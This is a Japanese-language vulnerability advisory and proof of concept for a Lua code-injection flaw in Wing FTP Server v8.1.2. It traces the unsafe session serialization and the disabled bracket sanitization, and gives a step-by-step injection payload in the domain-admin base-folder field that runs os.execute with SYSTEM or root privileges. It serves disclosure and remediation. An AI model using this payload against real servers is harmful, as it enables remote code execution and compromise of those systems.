CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit
Wing FTP Server v8.1.2には、セッションシリアル化メカニズムにリモートコード実行（RCE）の脆弱性が存在します。認証された管理者は、ドメイン管理者のmydirectory（ベースフォルダ）フィールドを通じて任意のLuaコードを注入でき、サーバー側でloadfile()を介して実行されます。
これはCVE-2025-47812とは別の脆弱性です。CVE-2025-47812に対してv7.4.4で適用された修正は、ユーザー名フィールドにおけるヌルバイトインジェクションベクトルのみを対象としていました。根本的な安全でないセッションシリアル化は修正されておらず、v8.1.2では管理者のベースフォルダフィールドを通じて引き続き悪用可能です。
セッションシリアル化関数serialize()は、SessionModule.lua（103行目）とSessionModuleAdmin.lua（104行目）で、文字列値をLuaの[[...]]ロングストリング表記を使用して書き込みます：
outf("_SESSION["..k.."]=[["..v.."]]\r\n")
セッション値に]]が含まれている場合、ロングストリングが早期に閉じられ、残りの内容が実行可能なLuaコードとして解析されます。
ブラケットのサニタイズコードはcgi.lua（274-275行目）とcgiadmin.lua（277-278行目）に存在しますが、コメントアウトされています：
--v = string.gsub(v,"%[","")
--v = string.gsub(v,"%]","")
このサニタイズを強制するセッションメタテーブルも無効化されています：
--setmetatable(_SESSION,session_metatable) -- cgi.lua:282、cgiadmin.lua:285
ステップ1 — ドメイン管理者のベースフォルダを介してペイロードを注入：
認証されたフル管理者がドメイン管理者アカウントを作成または変更します。mydirectoryフィールドに次の値を設定します：
C:\ftproot]]os.execute("whoami > C:\\proof.txt")--
エンドポイントservice_add_admin.htmlおよびservice_modify_admin.htmlは、mydirectoryフィールドからブラケット文字をサニタイズしません。（service_add_admin.htmlは14-15行目でユーザー名からブラケットを除去しますが、mydirectoryからは除去しません。）
ステップ2 — 実行のトリガー：
毒されたドメイン管理者がservice_login.htmlを介してログインすると、ベースフォルダがセッションに直接保存されます：
rawset(_SESSION,"admin_basefolder",basefolder) -- service_login.html:95
rawset(_SESSION,"admin_nowpath",basefolder) -- service_login.html:96
SessionModuleAdmin.save()はこれをセッションファイルに次のように書き込みます：
_SESSION['admin_basefolder']=[[C:\ftproot]]os.execute("whoami > C:\\proof.txt")--]]
ステップ3 — コード実行：
そのセッションを使用した次のHTTPリクエストで、SessionModuleAdmin.load()がloadfile()を呼び出し、続いてf()を呼び出します（184-188行目）。Luaパーサーはセッションファイルを次のように解釈します：
_SESSION['admin_basefolder']=[[C:\ftproot]] --> 文字列 "C:\ftproot" を代入
os.execute("whoami > C:\\proof.txt") --> コードとして実行
--]] --> 残りはコメントアウト
ペイロードはWing FTP Serverプロセスの権限で実行されます（WindowsではSYSTEM、Linuxではroot）。
動作するPoCエクスプロイトが開発され、Windows上のWing FTP Server v8.1.2に対してテストされています。
再現手順：
管理パネルにログインします
次のmydirectory値で新しいドメイン管理者を作成します：
C:\ftproot]]os.execute("whoami > C:\\wingftp_rce_proof.txt")--
新しく作成したドメイン管理者としてログインします
任意の管理ページに移動します（セッション読み込みをトリガー）
C:\wingftp_rce_proof.txtが作成され、サーバーのユーザー名が含まれていることを確認します